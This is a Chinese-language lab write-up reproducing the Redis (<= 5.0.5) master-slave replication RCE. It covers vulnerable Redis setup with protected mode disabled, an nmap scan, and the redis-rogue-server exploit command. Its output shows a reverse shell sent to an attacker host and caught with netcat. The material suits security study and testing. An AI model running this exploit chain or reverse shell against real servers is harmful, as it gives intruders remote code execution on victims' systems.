0%

Redis(<= 5.0.5)主从复制 RCE

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。


影响版本

1
Redis <= 5.0.5

环境搭建

doker搭建

1
2
3
# 环境
攻击机:kali
受害机:centos-docker
1
2
3
# 搭建
docker pull damonevking/redis5.0
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

Linux搭建

1
2
3
4
# 环境
攻击机:kali
受害机:centos 7
下载地址:http://download.redis.io/releases/redis-4.0.11.tar.gz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 搭建
wget http://download.redis.io/releases/redis-4.0.11.tar.gz
tar -zvxf redis-4.0.11.tar.gz
cd redis-4.0.11
make

# 修改redis.conf。开启外部访问,关闭保护模式
vi redis.conf
# 修改bind 127.0.0.1为bind 0.0.0.0
bind 0.0.0.0
# 修改protected-mode yes为protected-mode no
protected-mode no

# 启动
./src/redis-server redis.conf

image-20210829154018109

windows搭建

1
2
3
4
5
# 环境
攻击机:kali
受害机:windwos 7
windows下载地址:
https://github.com/microsoftarchive/redis/releases

下载Redis-x64-3.2.100.zip,并解压到本地目录下。

1
2
3
修改配置文件redis.windows.conf ,开启远程访问,关闭保护模式。
修改bind 127.0.0.1为bind 0.0.0.0
修改protected-mode yes为protected-mode no

image-20210829154046374

启动redis服务:

1
redis-server.exe  redis.windows.conf 

漏洞复现

扫描漏洞端口

1
2
3
4
5
6
7
8
9
10
root@kali:~# nmap 192.168.40.131 -p 6379
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-12 21:34 EDT
Nmap scan report for 192.168.40.131
Host is up (0.00023s latency).

PORT STATE SERVICE
6379/tcp open redis
MAC Address: 00:0C:29:10:79:D9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds

利用攻击脚本:n0b0dyCN/redis-rogue-server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@kali:/opt/tools/Redis/redis-rogue-server-master# python3 redis-rogue-server.py  --rhost 192.168.40.131 --lhost 192.168.40.132 --exp=exp.so
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig

[info] TARGET 192.168.40.131:6379
[info] SERVER 192.168.40.132:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r #输入i是直接获取交互式shell
[info] Open reverse shell...
Reverse server address: 192.168.40.132
Reverse server port: 2333
[info] Reverse shell payload sent.
[info] Check at 192.168.40.132:2333
[info] Unload module...

root@kali:~# nc -lvvp 2333

image-20210829154322123

image-20210829154332910

欢迎关注我的其它发布渠道